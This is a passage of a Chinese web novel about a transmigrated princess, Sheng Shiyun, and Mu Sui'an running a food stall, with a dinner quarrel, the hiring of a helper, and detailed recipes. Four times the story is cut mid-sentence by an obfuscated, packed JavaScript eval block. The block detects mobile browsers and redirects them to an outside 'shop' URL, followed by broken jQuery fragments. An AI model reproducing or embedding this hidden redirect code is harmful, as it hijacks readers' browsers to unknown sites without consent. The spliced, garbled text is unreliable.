另一个粽子是穆遂安的,他筷子捞起黏米,上面的砂糖都化成透明,看起来水灵灵的。盛时云吃饱了,拿出伏念的信,又把一直在脚边乱蹭的福团抄在怀里,拆开津津有味地瞅了起来。 伏念显然也过得很尽人意,唯一不得劲的是半路杀出来了个程咬金,把近来的好心情都打破了。 她那日坐马车到衡阳之后,跟父亲在医馆坐了几日的诊。见药材用得差不多了,又自己一个人跑去京城和药商谈价钱。 本来谈得挺好,没想到临走时撞上了谢家公子,拿着半包药材笑里藏刀地跟她敲了半天的算盘,若不是伏念机灵,姓谢的差点把她兜里的钱骗空。 不过伏念自然不是个好惹的,纳过闷来的一瞬间,捂着钱袋,当即一扫帚扣在谢晖脑袋上,把人的七窍都打没了一窍。 人也打了,钱也了了。但这事显然给伏念气狠了,写出来的字都带着一顿一顿的笔锋,什么泼皮无赖都骂了个遍,仿佛能看到她忿忿落笔的怨念模样。 至于敲算盘的那位,盛时云读第一句的时候就知道了是谁,毕竟谢家就出了谢晖那么一个钻破脑袋想要做生意的公子哥。 抛开先前的偏见不提,瞧着伏念的表述 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14100092|148147||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,盛时云苦苦忍着笑,怎么看怎么觉得谢晖这人确实有几分奸商头脑,三两句话便一针见血,连伏念的聪明脑瓜都难绕过他。 不禁啧啧称奇,引起了穆遂安的注意。 伏念离开青州时,穆遂安还没醒,因此他对伏念没什么印象,只知道她是盛时云十分重要的朋友。他收拾着碗筷,侧头问道:“怎么了?” 盛时云读着伏念的信直想乐,正愁没人一起分享。 她倾身过去,赶紧把信纸递到穆遂安面前,指着最龙飞凤舞的那段字,摇着头说道:“你是从北边来的,听没听过京城谢家的事?我看他家那个最混不吝的谢晖,也不像传言里那么会吃人,是个做生意的好坯子。可惜遇到了伏念,她可上不了钩。” 京城谢家,穆遂安岂有不知道的。别提孙子辈的谢晖,就连他爷爷谢明智,见了他不是也得喊一声北郡侯。 只是谢晖这个名字,十分似曾相识。穆遂安总觉得在什么事情上听见过,目光滑到盛时云的脸上,他恍然大悟。 不就是跟眼前这位有过婚约的崽子吗? 他头疼地闭了闭眼,将盘子摞在手上,抿紧唇不情不愿地应了句是。 盛时云纵着福团嗅信纸上面的气味,没注意穆遂安的反常,弯着眼睛笑了声,想起乔乔的那幅小花,抱起福团往屋里去:“走,咱们也给你伏念姨姨盖个爪子印,让她瞧瞧我们福团长多大啦……” 她一进屋,穆遂安刷碗的动作便停了下来。他眼底翻涌着别样的情绪,压了几次,只觉得心口堵得慌。 谢晖算哪根葱,一扫帚没给他打死还装上王八了。 盛时云夸他那两句是什么意思,莫非回心转意,想要嫁了谢晖一同做生意去?一个做食摊,一个在旁边算账,这不恰好是志同道合…… “咵嚓!” 正在纸上按着爪印的福团被这声音吓得一哆嗦,脚下一滑,将朱墨溅了几滴在盛时云衣服上。它扭身跳下桌子,撒开腿往门口跑去。 盛时云也吓了一跳,跟在福团身后,扶着门框朝外一看:地上的盘子摔得粉碎,穆遂安手足无措地站在院子当中,正要用手去捡。 “等一下。福团别过去。”盛时云用脚挡住福团,匆匆几步走到穆遂安身边,递过扫帚,“拿这个扫,手碰到碎盘子会划伤。” 穆遂安听话地用扫帚扫了,将水井边上的碗和盘子都规整地摆在旁边,临了,轻轻咳了两声。 咳嗽声有气无力,盛时云怕地上碎末扎了福团的脚,忙着检查,一时以为他又不舒服了,顾念地要问。就听穆遂安怅然若失地开口:“我果然是手脚粗笨,身子还弱,比不上谢公子八面玲珑,事事都能做得好。” 盛时云眨了眨眼,心觉他这话说得奇怪,接道:“哪里哪里,你有你的好,他有他的不好,我方才就是玩笑一番,你别当真。” 穆遂安嘴角微不可察地扬了扬,自顾自道:“照这么说,我必然比他好得多。” 20. 葱油蛏子 节也过完了,再找不到什么着急着忙的事情。前阵子莫秀娘跟盛时云说家里婆婆要请她吃饭,现在空闲下来,也应当承应过去。 先前栀子酥卖得好,用不着集签票,就又把顾客引来了不少。原先能卖到傍晚的卷凉皮和狼牙土豆,现在太阳还没落山就被扫购一空。按照这个客流量,再多加些吃食也不是不行,只是有一个问题——人手不够。 盛时云把这事在脑子里琢磨了个透,有点犯难。 因着若是去市集上买个帮工,大概率又是个没住处的,自家地方小,放不下那么多的人。若是找个打下手的,近来也没听说哪里有人要找活干。 还是先放放。今日要去莫秀娘家做客,她和穆遂安一同收了推车,回家各自换了套干净衣服,好能清清爽爽地登门。 莫秀娘还没生孩子,家里除了她和她相公两口子,还有她婆婆。老太太年纪大了,天天想着抱孙子。但家境不殷实,还要靠莫秀娘在外卖凉皮补贴家用,实在没空拉扯一个孩子。 因此婆媳关系不算和睦,老太太看着她鼻子不是鼻子,眼睛不是眼睛,分毫不记得家里赚得钱还有莫秀娘的一份功劳。 她家离三仙街也不远,只不过与竹竿巷坐在对角。盛时云今日穿了个影青的直袖衫,里面套着件浅黄旋裙,素雅明朗。配着她这一身,穆遂安选了件茶色圆领袍。 两人走在一起,皆是惊为天人的气度,引得街上许多注目。 绕过巷子前面的榆树,盛时云正好瞧见莫秀娘在树下伸着脖子往远看,看到了两人并肩过来,她惊喜地迎上前:“你俩真给我面子,还真都来了。” “那必须的。”盛时云将自己提前准备好的菜肴递到莫秀娘手里,“喏,粉蒸肉和葱油蛏子,蛏子是中午从周老板那买的,新鲜着呢。” “哎呀,叫你来吃饭,怎么还拿这些东西来。”她挽着盛时云的胳膊,开玩笑地往后招呼了一声,“我看小穆郎君肯赏脸来就够了。” 盛时云也回头与穆遂安对视了一眼,瞧穆遂安含着笑意的眼睛,她也扬着唇角打趣:“有好饭吃谁不肯来。” 两人在前面走得快些,说话的功夫就走到了院门前。大门敞开着,莫秀娘撇撇嘴,给盛时云使了个眼色,开口:“娘,我们回来了。” 话音一落,屋里走出来个精瘦的老婆子,因为在家里也清闲不得,没有养成身宽体胖的富态相,倒是精气神十分足,眉头处挤着个川字,见到盛时云的瞬间,表情转了个个,乐起来。 “呦,终于把盛丫头盼来了,让我好好瞧瞧!早就听我儿媳妇说起你,哎呦,瞧这鼻子嘴,真是个美人坯子。”何巧脸上的皱纹都团在一起,又见莫秀娘手里多出来个食匣子,笑开了花,“来就来呗,拎东西做什么,快进来。” 她凑过去想将院门插上,还没摸到门栓,就被一只手挡了过去。何巧抬头,看见穆遂安的脸,笑容僵住了,转过身去寻莫秀娘:“这是……” 莫秀娘“啊”了一声,说道:“这是那个伏姑娘的表哥,现在在时云家当帮工。穆郎君,这位是我婆婆。” “婆婆好。”穆遂安长相温柔,嘴角噙着和煦的笑,本来一向都能跟人迅速拉近距离,可是到了何巧这里却失了效。 何巧斜着眼睛将穆遂安上下打量了一遍,拉住盛时云的手,把人往屋里带,话却对着莫秀娘说:“今天兆儿不回来吃了,你把菜给他拨出来留着。” 李兆就是莫秀娘的相公。有人做客,男主人却不在家,莫秀娘面子上有点过不去,不好意思地看了一眼穆遂安,应道:“知道了。” 桌上摆着四个菜,都是莫秀娘做的。蒜蓉茄子、凉皮拌黄瓜、煎豆腐还有一盘青椒炒鸡蛋。虽然素了点,但是色香味俱全。 盛时云不挑食,知道莫秀娘家里不富裕,见着一桌子菜,倒是也没觉得有什么不妥。她着手从食盒里把粉蒸肉和葱油蛏子摆出来,肉香和贝壳的鲜味一出,满厅飘香。 她家桌子挨着床,何巧裹着薄被盘腿坐在床上,旁边的位置留给盛时云,另一旁是莫秀娘,最远的地方坐着穆遂安。 穆遂安处变不惊,姿态雅正地帮着盛时云把盘子摆好。 见了这两盘荤菜,何巧的眼睛里冒出精光,见来人都坐齐了,喜欢地摸着盛时云的手,酝酿半天终于张了嘴:“瞧瞧,多能干的小娘子,可说是还没成亲吧?” 穆遂安正摆盘子的动作戛然而止,面无表情地抽手坐下,将目光移到何巧脸上。 莫秀娘知道穆遂安性情,平时阳煦山立,就别碰上跟盛时云有关系的事,一旦不高兴了,凶得谁都拦不住。她劝了一句:“娘,人家忙着赚钱呢,哪有时间成家。” 没想到何巧啐了莫秀娘一口,将精明小眼瞪起来,哼了一声:“你以为谁都像你一样,天天正事不干。”言罢,转脸对盛时云露出笑容来,“我们老家有个汉子,人也能干,长得也不错,配你刚刚好。” 莫秀娘没想到她这么说,睁大了眼睛,阻拦道:“娘,你说什么呢。” “怎么啦,你都管到我头上来了?”何巧眼睛一剜,看着盛时云,“吃菜,吃菜。” 似是感觉出了桌上气氛不对,何巧也给坐在远处的穆遂安夹了块豆腐,露出笑脸:“你既是伏姑娘的表哥,以后自然是要回去的吧?总赖在青州这也不成啊。” “说起来,他家什么都不赖。就是受不了媳妇沾花惹草”何巧慢腾腾地看了穆遂安一眼,又将目光落回在盛时云身上,“前一个媳妇就是和男人说话,让他给休了。” “我老婆子吃过的盐比你们吃得饭都多。听我一句劝,这种肯把你死拽在手心里的汉子才会疼人呢。”她说这话的时候状似十分骄傲,也没人知道她在骄傲些什么。 没等盛时云 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14129146|148147||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有什么表示,穆遂安先不悦地撂了筷子。他掀起眼睑,眸底不知何时蓄了一层怒意,唇上旋着抹嘲讽的笑:“这种人怕不是自己没能耐,生怕妻子看清了他的真面目。不知道是疼人呢,还是打得人浑身疼。” 何巧不知穆遂安是什么样的人,莫秀娘自然是知道的。她惊慌地看了盛时云一眼,又对何巧说道:“婆婆,人家是客人,哪有您这样乱说话的。” 盛时云口中正嚼着青椒,伸手去拽穆遂安的衣角。晃了晃,摇了摇头,意思是不要和她一般见识。待到一口菜咽下,她慢条斯理地擦了擦嘴角,对着何巧说道:“嗯,盐吃得多,你是挺闲的。” 她懒洋洋地夹了一块粉蒸肉,放进穆遂安的碗里,面色有些不耐烦。比起穆遂安,盛时云对待何巧更加游刃有余,她垂着眼拌着碗里的饭:“那看着我们秀娘确实是个招人疼的姑娘,婆婆和夫君都这么宠她,恨不得将她死死抓在家里呢。” “要是说出去不知道要招多少人羡慕。” 盛时云的这番话听起来似是夸奖,只有知道实情的人才知道其中的讽刺。何巧母子两人在外装着体面人的样子,对内却不满莫秀娘很久,不仅催着她生孩子,还动辄打骂。 这种人最怕别人揭穿他们的假面,偏偏就被盛时云揪住了尾巴。 何巧怎能听不明白她话中的威胁,一时间老脸通红,气得咬牙切齿却不能表露,只得使劲捏了捏筷子,咕哝道:“这个不知好歹的丫头!” 一顿饭吃完。老太太老实了不少,就连莫秀娘也感激地瞧着盛时云。只有穆遂安肚子里还憋着气,一直一言不发。 临走时,莫秀娘送两人出门,她的脸也晕着两坨红,眼中还噙了泪珠,苦笑道:“我原不知她打着那种算盘,今天冲撞了你俩,是我的不是。但多谢你今日替我出头,有你这句话,她今后也不敢对我不好了。” 穆遂安孑然独立一旁,寒色未消,显然不想过多理睬她。盛时云眉眼展开,拉住了莫秀娘的手仔细安抚,言语条理清晰:“你这话就见外了,我也没放在心上。不过你之后还是得多留心你婆婆,恶人要想作恶,绝对不吝方法的。” “是,真不知道怎么谢你才好。” 眼瞅着莫秀娘的眼泪就要掉下来,盛时云捋着她的头发,忽然想起来:“欸,你若是想谢我,不如有空帮我打听打听那家媳妇现在如何了。” “她呀。”莫秀娘擦着眼角,细想道,“我婆婆说得邪乎,哪是她和人说多了话。是因为她相公在外偷了人,才借引子休她……” “她挺能干,现在住娘家,离这边也挺近的。”莫秀娘多少明白了盛时云的意思,掰着手指偏头看她,“你要是想雇她当帮工,倒是挺合适。” 盛时云喜笑颜开,打了个响指,没瞧到旁边的穆遂安脸色黑得发沉:“知我者,莫秀娘也。你帮我找她来,详细的我们当面谈。” 21. 土豆泥拌面 莫秀娘办事靠谱,没过多久,就将人找了来。那家的女子姓秦,外头人都叫她秦二姐。她确实是个老实本分的性子,脸上和手上的皮肤很粗糙,见了人不说话,先憨憨地露齿一笑。 秦二姐被休后就一直借住在娘家兄弟处,院子在青州城里、三仙街的另一头,她手头没钱,住着也心里直战战,想着找个活计先做着,一来二去竟没有买卖家要她。 盛时云和穆遂安上摊时,秦二姐正站在莫秀娘家凉粉旁。虽然是被莫秀娘主动介绍来的,她也生怕这次的主顾不要自己,因此忧心忡忡地攥着手指,不住地向那边张望。 三仙街最火的食摊当属“云家”,莫秀娘揉着发糕,都不用抬眼,光听食客们的脚步声就知道盛时云来了。与秦二姐一起将发糕全都搁在锅里,烧起大火猛蒸,这才腾出手来端着凉皮往云家食摊赶去。 瞧见莫秀娘身边的秦二姐,盛时云眼睛一亮,叫穆遂安把凉皮接过,自己擦了擦手凑上去,惊喜道:“姐姐可来了,听说你那活计不好找,不知道乐不乐意跟我们一起?” 秦二姐被莫秀娘推过去,紧张地咽了咽口水。盛时云面善又好看,瞧着像朵花一样,忙着数凉皮的穆遂安也是清俊才子,她不由得有些自惭形秽,嗫嚅着开口:“主家愿意留我才是我的福气,哪有不乐意的。” “哪里哪里,姐姐能干,我们生意也就越做越大了。”盛时云跟莫秀娘道了声谢,娴熟地把人带到摊上,像教穆遂安那样把所有的事情都一一嘱咐了个遍,包括炒出土豆条的色泽以及凉皮的卷法,也亲手演示给她瞧。 “穆公子在我家包吃住,所以银两给的比你少一些。咱们先试用七天,如果干着还趁手的话,以后一日给你六十文,一个月也将近二两银呢。二姐觉得如何?” 六十文的价钱不低,秦二姐直接点头答应了。她干活麻利,跟盛时云学着炒了几次狼牙土豆,就已经能够熟练地掌握火候。今天的客流量依然不少,穆遂安负责算账、外加当吉祥物,盛时云则一边切着菜丝,一边指导秦二姐翻炒的手法。 中午饭还是在食摊上吃的。虽然每天忙于生计,但该有的仪式感决不能少,就算匀给吃饭的时间少得可怜,盛时云也几乎能保证他们每天的午饭不重样。 盛时云在现代的时候常常独居在家,懒得做饭,可又不能不吃,因此很擅长快手菜。没想到这个技能在这时也能派上用场。她今日从家里带了面条、土豆和西红柿,打算做顿土豆泥拌面。 秦二姐不好意思白吃东西,自告奋勇把土豆和西红柿切成小块,随后收走了面条,去莫秀娘那边借了个小锅开煮。 做拌面要用到的调料几乎都在推车上。锅里热油,放入蒜末小米辣爆香,再加土豆大火翻炒,辣椒的味道霸道地香透了半条三仙街。 见土豆块表皮略微泛黄,盛时云从调料盒里放入一勺辣酱、一勺豆酱以及三勺酱油和适量的糖,番茄块和开水一同倒入锅里,热油遇水发出“嗞啦”的声音,随后便不用再管,只等一刻钟后将土豆碾碎拌匀就好。 等着煮拌料的时间,穆遂安又卖出了两份卷凉皮和几块冬瓜糖。莫秀娘也跟着秦二姐端着面条溜达过来蹭吃的,面条用凉水过了几次,劲道地卷在盆里,是够四五个人吃的量。 差不多到了时间,盛时云掀起锅盖,用锅铲把土豆压得软绵黏糊,再撒上葱花香菜,鲜亮酸辣,咕嘟冒泡,引得旁边捧碗等着的三人不约而同地凑近使劲地嗅。 “要是放些肉末就更好了。”盛时云第一个接过秦二姐的碗,用锅铲舀起满满一勺土豆泥浇在面条上,浓香外加视觉冲击更加勾人的食欲,秦二姐来不及道谢,先举起筷子猛拌两下,将面条送进嘴里。 “咱主家这手艺简直是仙人下凡。”她从不知道几件平平无奇的食材竟能做出这样新奇又好吃的菜肴,原本对盛时云就心存感念,这下更是敬服起来。 难怪能潇洒自如地在这闹市上把生意越做越大,手艺和头脑傍身,还真不是一般人能比的。 一天忙下来,三个人都没闲着,但明显地感觉到轻松了不少。 试用期的工钱是五十文,穆遂安将铜板点出来递给盛时云。把钱交到秦二姐手里的时候,盛时云笑呵呵的:“二姐真是干活的好手,这些你拿去,明天辰时来就成,你先适应适应节奏,过几日还有的忙呢。” 穆遂安推着推车,盛时云从怀里掏出一张纸来给他看:“你上次找的那家铁铺在哪来着?我要打两口锅。” 自从上次给伏念做完麻辣烫,盛时云就起了开麻辣烫摊子的心思。现在天气热了,刚好能置办点桌椅碗碟,支在摊外供食客吃饭休闲。 穆遂安来时,她手里的铜板还有些紧巴,但今时不同往日,兜里的银子翻番增长,请来了秦二姐,还能余下钱来定制锅碗瓢盆。 被落日浸染的天空适时飞过一串归巢的鸟雀,盛时云的视线随着它们的方向划过最远处的那片火烧云,她在心里算了算自己的所有身家,蓦然回眸对着穆遂安说道:“再过半年,我拿下一间食肆绝对不成问题。” 夕阳下光线旖旎,穆遂安的表情都被染得柔和,他眨也不眨地瞧着盛时云,微微挑起眉:“没准用不了半年,食肆就到手了。” 盛时云大额的收支都在食摊上,而穆遂安又是管钱的那个,由他经手的东西,他自然能知晓个大概。况且,不说盛时云攒下来的钱有多少,自从他签契住进竹竿巷里,吃穿都是好的,工钱也未曾少了一分,眼下越做越大,生意蒸蒸日上,任凭谁都看在眼里。 “真的?”盛时云背着手转过身,裙摆随着她的动作飘起一个欢悦的弧度,为了探到穆遂安口中的答案,她倒着一步步往前走,眼睛笑得眯起来,“等有了食肆,还得雇不少人。你如果不走的话,我就把你放门口,拎个牌子当招财猫。” “待遇这么差,那我还是走吧。”穆遂安由着她打趣,指尖翘着车把,无奈又好笑。他抖了抖手里的图纸,指了一下方向,“往左走第三家。等等我把车放下。” 两人步入铁匠铺。图纸拿给穆遂安交涉,他已经习惯了盛时云画得东西,研究片刻就能知晓她要表达的意思。对于金石方面的了解,盛时云自知不如穆遂安,干脆放心地交给他全权代理。 这次定制的锅里面横有许多格子,仿照现代煮串串用的香煮锅,一共两口,并成一个大锅,方便拆卸非常实用。这样夏天一到,不管是爱热还是爱凉的,都能坐上一桌。 等着穆遂安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14149807|148147||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和铁匠讨论制锅材料的空档,盛时云撩帘出门,又去旁边铺子收了两套桌子板凳,外加几碗几碟,付了钱,慢悠悠地搬到自家推车上。 待到钱款账目计算好,穆遂安将订单揣进怀里,转眼看过去,盛时云正两颊红红地靠在推车的车把上,手里拿着个香瓜正往嘴边递。再看她身边,多出来的物什整齐地摞在一起,在车上放着。 “原来是去买桌椅了。”他低声自语,提步走过去,盛时云变戏法似地从身后又摸出一颗香瓜来,得意地递给他说:“店家送的,又面又甜,快尝尝。” 香瓜莹绿,光是闻着就有一股清香。穆遂安从她手里接过,却没将注意力放在瓜上,反而先上前几步,伸手把安置在车上的一张桌子提起来颠了颠。桌子虽然是木头做的,但总体不重,他这才放心地将香瓜在掌心滚了一圈说道:“盛老板行动力超群。” 一听这话,盛时云笑得差点从车把上摔下去。她虚张声势地拍了他手里的香瓜一下,眼睛像小狐狸一样弯了起来:“懂事懂事。” 这个事追溯到几个时辰前。食摊正是上客的时候,秦二姐虽然能掌握炒拌的技巧,但出餐的速度还是差一些,忙起来往往大脑宕机,要叫盛时云来帮着自己。 可是一张嘴,却不知道怎么称呼自己的主家。若是叫时云妹子,太轻佻不尊重;若是叫盛娘子,又觉得差辈了……秦二姐在口中含糊了半天,转头向穆遂安求救:“穆郎君,你管咱们主家叫什么?” 穆遂安在旁边有个单独的座位,他满脑子都是银子铜板,乍一下被问愣了,没反应过来秦二姐说得主家是何人,疑惑抬眼,问了句:“谁?” “咱们主家。就是……”铁板上烟熏火燎,秦二姐又热又着急,指了盛时云一下,没想到手还没收回来,就见盛时云转头瞧向了自己,她眨着眼,到嘴边的话又含糊了。 “叫我盛老板就行。”盛时云清浅地勾了勾唇角,一眼便看出秦二姐手法上的误区,直接接过铁铲给她演示。 食摊前面等着的是熟客,听了她的话,也不禁开起玩笑:“不对不对,老板是对男人的叫法,盛娘子应当叫老板娘。” 盛时云挑眉瞥了那人一眼,偏过头,手里动作不停,也用打趣的口气回敬道:“用个称呼还得分男女啊,一看你李秀才就是操心的命。来,多给你搭一块,下次瞧见我必须叫盛老板。” “盛老板用一块就想收买我?”李秀才乐着哼哼,“哎呀,不亏不亏。” 没成想,这个称呼被穆遂安听了去,现在说出来打了她一个措手不及。穆遂安的眼睛常常温柔含笑,极少的情况下才会如现在一般,露出诙谐的神情。 盛时云把香瓜吃完,手指蹭了蹭嘴角:“怎么,你难道也觉得这称呼不合适?” 穆遂安摇头:“自然再合适不过。” 不仅合适,以后怕是还能更进一步,做酒楼的东家。他细想着,忍不住眉眼和悦,一想到那时的光景,竟比盛时云这个酒楼东家还要开心几分。 盛时云的心思倒是没落在穆遂安这儿,她转着眼睛,若有所思地望天“啧”了一声: “不过呢,秦二姐倒是给我提醒了。你在我家做工这么久,好像确实还没叫过我的名字……” 22. 锅包肉 穆遂安一向反应很快,这时脑子却像不转了似的。 他将盛时云从车把上拨下来,两手一攥,推着推车往回走。盛时云把他放在车上的香瓜拿过来,跟在后面。 “怎么?你也可以叫我盛老板。” “称呼有什么所谓。你不是也一口一个公子叫我,我没有名字吗?”穆遂安收了视线往后淡淡一瞥,倒打一耙。两人在一起住了许久,虽然只是一纸合约的主仆关系,每日只公子来、公子去,也太冷漠了。 “那叫什么?穆遂安,遂安?”盛时云借着光线伸出手,仔细端详着自己修剪整齐的指甲,忽然偏头看他,“对了,你的字是什么?” 太阳总归是太阳,就算还剩些微光芒,依旧耀眼夺目,她的眼睛被晃得有点疼,低下头收手揉了揉。这一低头,盛时云没瞧到,穆遂安的耳后连同脖子,红了个彻底。 等她再回神时,只听穆遂安声音略有哽住,但总体四平八稳:“昀川。” “穆遂安、穆昀川。”她品了品,赞叹道,“都是好名字啊。” 回了家,穆遂安将两人一路逛逛走走买的菜都放在灶台旁边,又把推车摆正,取水清洗铁板和案面。 盛时云净了手要去烧饭。福团好不容易见了人,刚从穆遂安那里凑完热闹,又兴冲冲跑来盛时云脚边讨嫌。毛茸茸的小狗脑袋蹭在脚腕上,她心里喜欢,抬着足尖逗了福团两下。 家里经常没人,只留小狗自己在院子里,一留就是一整天,确实孤单。盛时云把新买的一块肉拿到压水井旁边,想了想,回头问穆遂安:“你说,入夏后还能有鸡苗吗?” 穆遂安就在不远处,正拿一块干布在推车上擦拭。闻言抬起眼,呆呆回道:“不知道,夏天母鸡就不生鸡蛋了吗?” 穆遂安从小生活在北边的战场上,识得的五谷杂粮都屈指可数,更别提鸡苗的时令了。 这个问题也触及到了盛时云的知识盲区,她对鸡苗的印象还停留在小学时候的学校门口,一到春天就常有婆婆端着纸箱子卖小鸡。小鸡一块钱一只,引得许多小朋友凑在一起瞧稀罕。 “明天有空去集市上看看,我寻思着,咱们家要吃鸡蛋,不如养两只鸡来,还能给福团作伴。” “嗯……过年了还能卖钱,好实惠。” 她用水把瘦肉冲洗几遍,又从菜筐里面掏出还带着泥的菜,一并都洗了,撂到菜板上。 一路过肉摊,盛时云就看中了这块里脊,纹理分明,色泽鲜红,若是做盘锅包肉,别提多香了。想到这,她毫不犹豫掏钱把肉买下来。穆遂安与她都是北方人,东北菜的浓厚香味将盛时云的馋虫勾了上来。 看到她挑了茄子、土豆和尖椒,穆遂安的北方血脉也逐渐觉醒:“你要做锅包肉和地三鲜?” “聪明。”盛时云打了个响指,“好好期待吧。” 锅包肉这道菜虽然常见,但并不家常,就算是外面大饭馆的厨师也不一定能做出味道的精髓。 盛时云将里脊切成薄片,每片肉都用刀背拍松,保证口感更加嫩滑。随后少量盐、料酒和胡椒粉混匀抓拌,稍微把肉腌上一会儿。 裹粉这一步比较麻烦,土豆淀粉与清水搅拌,但要的并不是简单的两者混合物,而是静置沉淀片刻后,将上层的水倒出,留下的那部分底部淀粉。 这样的淀粉捞起来手感丝滑,加油,裹在腌好的肉片上才能炸出香脆的口感。 起锅烧油,盛时云分辨了一下锅里热油的气泡,适时地把肉片下进锅里,一瞬间,锅里“嗞啦”声不断,肉片周边顿时冒起细密的气泡,淀粉膨胀定型,肉香也钻了出来。 盛时云把肉片炸了三遍,用筷子在其中翻动,防止粘连。肉片微微弯曲,上面的裹糊也恰到好处的金黄。 她的肚子适时叫了一声,恨不得现在就炒点辣椒面沾着吃。 锅里的油过会还能炸青菜。盛时云换了一口小锅,先调了糖醋汁,盛出三勺油在小锅里,下姜丝蒜片爆香,糖醋汁泼入锅里熬煮到粘稠冒泡。 从肉刚炸好时,穆遂安就放下手里的活计,抱着福团凑了过来。熟悉的糖醋味满溢出来,裹在刚下锅的肉片上,加葱丝和香菜翻炒,晶莹剔透,像琥珀一般。 “你尝尝,味道如何?”盛时云给他递过一双筷子,见他迫不及待的样子十分好笑,“很烫,你小心点。” 刚出锅的锅包肉十分经典,外层的糖汁刺激着味蕾,咔嚓一咬,外酥里嫩,里脊的嚼劲和鲜嫩并不冲突,穆遂安被烫了舌尖,抽着气香得在原地踮了两下脚。 “好吃,从来没吃过这么香的锅包肉。”穆遂安将筷子收起来,忍住自己想吃下一块的欲望,将盘子端到桌上,“快了吗?” “马上。”盛时云火速把三种菜切成滚刀块,下到方才剩下的油里,先炸土豆再炸茄子和尖椒。酱油、白糖、盐、淀粉兑水搅拌成酱汁。热锅加葱蒜爆香,将炸好的青菜下锅,倒进酱汁翻炒收汁。 最后一步,再加一把蒜末,大功告成。 盛时云端菜上桌的时候,米饭也盛好放在她习惯的位置前面。 东北菜最重要的就是炝锅,一炝锅,灵魂就随着油烟冒出来了。她没急着吃肉,先夹了一口锅包肉里面的茄子,细细一抿,绵软的茄肉就滑进胃里。汤汁在米饭上拌了拌,一口下去,盛时云舒适地喟叹一声。 好香。 她毫不含糊地多夹了几筷子地三鲜,拌在米饭里面连扒了两口,吃得不亦乐乎。打住了胃里的空落,盛时云将碗搁下,一块金黄酥香的锅包肉送到了她刚挖出来的米饭坑坑里。 穆遂安收回筷子,见她犹豫,以为盛时云嫌弃自己,动作一顿,解释道:“筷子是干净的。” “好呀。”盛时云弯了弯眼睛,夹起肉片吹了吹,轻轻咬了一口。外层的糖醋汁入口即融,里面又酥又嫩。盛时云十分满意,点头,“做得还挺成功。” “外面最好的酒楼都比不过你的手艺,吃了一口还想下一口。”穆遂安也学着盛时云的样子多夹了菜拌饭吃,状似云淡风轻,“不知道教你做菜的师傅该有多厉害。” 盛时云对穆遂安的试探浑然不觉:“师从全国,但是自学成才。”她确实没诓穆遂安。盛时云虽是现代的当红美食博主,但先前籍籍无名之时,全靠一腔热忱,查菜谱、跟着网上的其他博主学习。 跟网络学菜,是师从全国;自学成才,也没谬误。 就现在这个刀工,还是她当初学做文思豆腐的时候,看着视频咬牙狠练练成的。 想起自己那时功夫不负有心人,盛时云餍足地眯起眼睛,称心满意,却没看见穆遂安眼底交织的复杂情绪。 并非穆遂安对她有提防之心,只是越深入相处,越觉得盛时云身上的谜团太多。疑问得不到解决,他胸腔里总觉得有什么翻腾,难以静心。 深宫的公主,自小任人欺凌,忽然“师从全国”学得好手艺,又别出心裁自请出宫做生意。穆遂安本就养成了凡事多思的习惯,更难办的是,前阵子他收到冀西山的回信,已经将能查的都查了,愣是没找到有关盛时云身份的一丝错处。 穆遂安自然想不到其中来龙去脉,况且就算 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14162705|148147||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 盛时云和盘托出了,估摸着他是也难以置信,恐怕还要以为她做了疯梦。 想不到就算了,自己的身份不也对她讳莫如深么。穆遂安拇指摩挲着筷子,头脑无端清明起来——既无不利,又何必如此耿耿于怀,该知晓的时候自会知晓。 他舒缓了微蹙的眉心,扬起唇角:“我跟了这么有本事的主家,真是喜不自胜。” “少打趣我。”盛时云忽而发笑,用筷尾戳了戳他的手,“吃完去洗碗。” 既然要将食摊做得更进一步,吃完晚饭,盛时云也没闲着。入了夏,天亮的时间一日比一日长,她端着几味调料坐在桌子旁边,循着记忆调试着麻辣烫汤底的配比。 